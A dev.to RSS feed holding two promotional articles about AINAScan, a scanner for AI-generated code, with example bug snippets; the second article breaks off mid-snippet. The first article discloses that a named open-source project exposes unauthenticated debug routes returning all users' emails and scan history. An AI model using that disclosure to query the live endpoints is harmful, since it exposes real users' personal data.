<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: sehwan Moon</title>
    <description>The latest articles on DEV Community by sehwan Moon (@ainascan).</description>
    <link>https://dev.to/ainascan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3994380%2F6a9ca436-175c-4718-a26e-fd72accfb161.png</url>
      <title>DEV Community: sehwan Moon</title>
      <link>https://dev.to/ainascan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ainascan"/>
    <language>en</language>
    <item>
      <title>We Scanned the Vibe Coding Security Scanners. Here's What We Found — Including What We Missed.</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Wed, 24 Jun 2026 15:42:04 +0000</pubDate>
      <link>https://dev.to/ainascan/we-scanned-the-vibe-coding-security-scanners-heres-what-we-found-including-what-we-missed-52ch</link>
      <guid>https://dev.to/ainascan/we-scanned-the-vibe-coding-security-scanners-heres-what-we-found-including-what-we-missed-52ch</guid>
      <description>&lt;p&gt;There are now more than ten security scanners specifically targeting vibe-coded apps. That happened in about three months.&lt;/p&gt;

&lt;p&gt;We got curious. So we cloned three of them and ran AINAScan on the source code.&lt;/p&gt;

&lt;p&gt;Here's what we found — including the two things AINAScan got wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;We scanned:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;vibe-audit&lt;/strong&gt; (ApacheWang) — CLI scanner for Cursor/Bolt/Lovable output&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;vibescan&lt;/strong&gt; (Armur-Ai) — SAST+DAST pipeline, 15 languages, MCP support&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VibeSecurity&lt;/strong&gt; (abenstirling) — hackathon winner, Go scanner wrapped in FastAPI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three real tools, all open source, all actively maintained. The intent wasn't to rank them — it was to see whether the same patterns that show up in vibe-coded apps also show up in tools built to catch them.&lt;/p&gt;

&lt;p&gt;They do.&lt;/p&gt;




&lt;h2&gt;
  
  
  What AINAScan caught ✅
&lt;/h2&gt;

&lt;h3&gt;
  
  
  FAKE_ASYNC in the scanner itself
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VibeSecurity/scanner.py&lt;/code&gt;, line 50:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Run security scan using Go executable&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;          &lt;span class="c1"&gt;# no await
&lt;/span&gt;        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                   &lt;span class="c1"&gt;# blocks for up to 60 seconds
&lt;/span&gt;    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;async def&lt;/code&gt; with &lt;code&gt;subprocess.run()&lt;/code&gt; inside and no &lt;code&gt;await&lt;/code&gt;. This blocks the entire FastAPI event loop for up to 60 seconds per scan request. Every other request queues behind it. The hackathon demo probably had one user at a time — this wouldn't surface until real traffic hit it.&lt;/p&gt;

&lt;p&gt;This is exactly the pattern we see most often in AI-generated backends. The model learned to write &lt;code&gt;async def&lt;/code&gt; but didn't learn &lt;em&gt;why&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  SENSITIVE_LOG_LEAK in the auth module
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VibeSecurity/auth.py&lt;/code&gt;, line 26:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;uid&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;decoded_token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UID missing from token: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;decoded_token&lt;/code&gt; is the full Firebase JWT payload — uid, email, provider, any custom claims. All of it goes to stdout on every failed auth attempt. In production, that's your application logs, potentially forwarded to a log aggregation service, potentially accessible to multiple people.&lt;/p&gt;

&lt;p&gt;It's a one-line fix. It also ships in the auth module of a &lt;em&gt;security&lt;/em&gt; tool.&lt;/p&gt;




&lt;h2&gt;
  
  
  What AINAScan got wrong ⚠️❌
&lt;/h2&gt;

&lt;p&gt;We're publishing this part because we think it's more useful than pretending the tool is perfect.&lt;/p&gt;

&lt;h3&gt;
  
  
  False positive: &lt;code&gt;STUB_SKELETON&lt;/code&gt; on a Click group function
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;vibe-audit/cli.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@click.group&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nd"&gt;@click.version_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__version__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prog_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vibe-audit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;cli&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Security scanner for AI-generated code.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AINAScan flagged this as &lt;code&gt;STUB_SKELETON&lt;/code&gt; — a vibe-coding pattern where a function has a meaningful name but no implementation.&lt;/p&gt;

&lt;p&gt;It isn't. &lt;code&gt;pass&lt;/code&gt; is the standard body for Click CLI group functions. The framework handles everything; the function itself needs nothing. AINAScan didn't know the difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We shipped a fix&lt;/strong&gt;: &lt;code&gt;@click.group()&lt;/code&gt; and &lt;code&gt;@click.command()&lt;/code&gt; decorated functions are now exempt from &lt;code&gt;STUB_SKELETON&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  False negative: unauthenticated debug endpoints
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VibeSecurity/routes/debug.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@router.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/debug/all-scans&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;all_scans_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# returns all users' scan history + emails
&lt;/span&gt;    &lt;span class="c1"&gt;# no authentication dependency
&lt;/span&gt;    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are four endpoints under &lt;code&gt;/api/debug/&lt;/code&gt; — none of them require authentication. &lt;code&gt;/api/debug/all-scans&lt;/code&gt; returns every user's scan history and email address from Firestore. Anyone who finds the URL can call it.&lt;/p&gt;

&lt;p&gt;AINAScan missed this entirely. It caught the &lt;code&gt;FAKE_ASYNC&lt;/code&gt; and the log leak, but it doesn't yet analyze whether sensitive route paths have auth dependencies wired up. That's an interoperational check — cross-referencing the route path against the function signature — and it wasn't implemented.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We shipped a fix&lt;/strong&gt;: New &lt;code&gt;UNAUTH_SENSITIVE_ROUTE&lt;/code&gt; rule now flags routes with paths containing &lt;code&gt;debug&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;repair&lt;/code&gt;, or &lt;code&gt;internal&lt;/code&gt; that have no &lt;code&gt;Depends(auth_func)&lt;/code&gt; parameter. Running the updated scanner on the same file returns four &lt;code&gt;BLOCK&lt;/code&gt; findings, one per endpoint.&lt;/p&gt;




&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Real bugs caught&lt;/th&gt;
&lt;th&gt;FP&lt;/th&gt;
&lt;th&gt;FN&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;vibe-audit&lt;/td&gt;
&lt;td&gt;0 BLOCK (some WARN)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;STUB_SKELETON&lt;/code&gt; on CLI&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vibescan&lt;/td&gt;
&lt;td&gt;test data file only (intentional)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VibeSecurity&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;FAKE_ASYNC&lt;/code&gt;, &lt;code&gt;SENSITIVE_LOG_LEAK&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;unauthenticated debug routes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;vibescan's &lt;code&gt;vulnerable.py&lt;/code&gt; had nine BLOCK findings — but that file lives in &lt;code&gt;testdata/&lt;/code&gt; and is intentionally full of vulnerabilities. Their actual source code was clean.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pattern
&lt;/h2&gt;

&lt;p&gt;All three tools were built quickly, by developers who clearly know what they're doing. And all three have at least one instance of the exact patterns they're designed to catch.&lt;/p&gt;

&lt;p&gt;That's not a criticism. It's the point. Vibe-coding patterns aren't a sign of carelessness — they're what fast, AI-assisted development produces by default. The async declaration without semantics, the log statement that made sense in development, the debug route that never got locked down. These appear in mature codebases written by experienced engineers.&lt;/p&gt;

&lt;p&gt;The right response isn't to move slower. It's to add a scan step before you ship.&lt;/p&gt;




&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# scan before you deploy&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@routes/debug.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Free key (&lt;code&gt;vg_free_test&lt;/code&gt;) covers 50 files/day. Source: &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;github.com/Moonsehwan/aina-scan&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;What's the most surprising bug you've found in a tool you were already using? Drop it in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
    </item>
    <item>
      <title>Your Vibe-Coded App Works. But It's Probably Hiding These 5 Silent Bugs</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Wed, 24 Jun 2026 14:07:58 +0000</pubDate>
      <link>https://dev.to/ainascan/your-vibe-coded-app-works-but-its-probably-hiding-these-5-silent-bugs-20c9</link>
      <guid>https://dev.to/ainascan/your-vibe-coded-app-works-but-its-probably-hiding-these-5-silent-bugs-20c9</guid>
      <description>&lt;p&gt;Have you ever shipped a vibe-coded app, watched it work perfectly in production... and then watched it silently corrupt data for three weeks before anyone noticed?&lt;/p&gt;

&lt;p&gt;That's not hypothetical. It's the #1 failure mode of AI-generated code — not crashes, not errors, but &lt;strong&gt;silent wrongness&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;I've been building an AST scanner for AI-generated code and ran it against hundreds of repos. Here are the 5 patterns that appeared most consistently — and that every linter I tested completely missed.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Fake Save (MISSING_WRITE)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI writes this — looks fine, passes code review
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user_preferences&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;  &lt;span class="c1"&gt;# WHERE'S THE INSERT?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function &lt;em&gt;looks&lt;/em&gt; like it saves. It returns &lt;code&gt;{"status": "saved"}&lt;/code&gt;. Your logs show "saved". Your tests pass (they just check the return value).&lt;/p&gt;

&lt;p&gt;Meanwhile: nothing is written to your database. Ever.&lt;/p&gt;

&lt;p&gt;This pattern — MISSING_WRITE — shows up when you ask an AI to "add a save function". It generates the validation, the response structure, the error handling... but forgets the actual &lt;code&gt;INSERT&lt;/code&gt; or &lt;code&gt;UPDATE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why AI does this:&lt;/strong&gt; Language models are optimized to produce &lt;em&gt;plausible&lt;/em&gt; code. A function named &lt;code&gt;save_*&lt;/code&gt; that returns &lt;code&gt;{"status": "saved"}&lt;/code&gt; is statistically very plausible. The model has no runtime to verify the database was actually written.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Async Lie (FAKE_ASYNC)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Your AI made this "async" — it isn't
&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_user_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_db_connection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# blocking
&lt;/span&gt;    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,)).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# blocking
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your entire async event loop just blocked. On every request. The &lt;code&gt;async&lt;/code&gt; keyword is there, but there's no &lt;code&gt;await&lt;/code&gt; — so Python runs this synchronously while every other coroutine waits.&lt;/p&gt;

&lt;p&gt;Under low traffic: unnoticeable. At 100 concurrent users: your server response time spikes 10x.&lt;/p&gt;

&lt;p&gt;I see this constantly in FastAPI and async Django projects where the initial scaffolding was AI-generated. The model adds &lt;code&gt;async&lt;/code&gt; because it's "the modern way" without actually making the I/O non-blocking.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. The Dead Caller (DEAD_CALL_RESULT)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;analyze_and_report&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;security_check&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;run_security_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# returns critical findings
&lt;/span&gt;    &lt;span class="n"&gt;performance_check&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;run_performance_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# returns bottlenecks
&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;analysis complete&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# both results just... evaporated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The AI called both analysis modules. Both returned results. Then it threw them away.&lt;/p&gt;

&lt;p&gt;This happens when you ask an AI to "integrate module A and module B and return the results." The model understands it should &lt;em&gt;call&lt;/em&gt; both modules. It doesn't always understand it should &lt;em&gt;use&lt;/em&gt; what they return.&lt;/p&gt;

&lt;p&gt;Your analysis pipeline runs. Your users get &lt;code&gt;{"status": "analysis complete"}&lt;/code&gt;. The actual findings: discarded.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. The Hardcoded Truth (HARDCODED_TABLE)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI "optimized" your database query into this
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_category_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;electronics&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tax&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shipping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fedex&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;warehouse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clothing&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tax&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.06&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shipping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ups&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;warehouse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;books&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tax&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shipping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;usps&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;warehouse&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TX&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="c1"&gt;# ... 15 more categories ...
&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

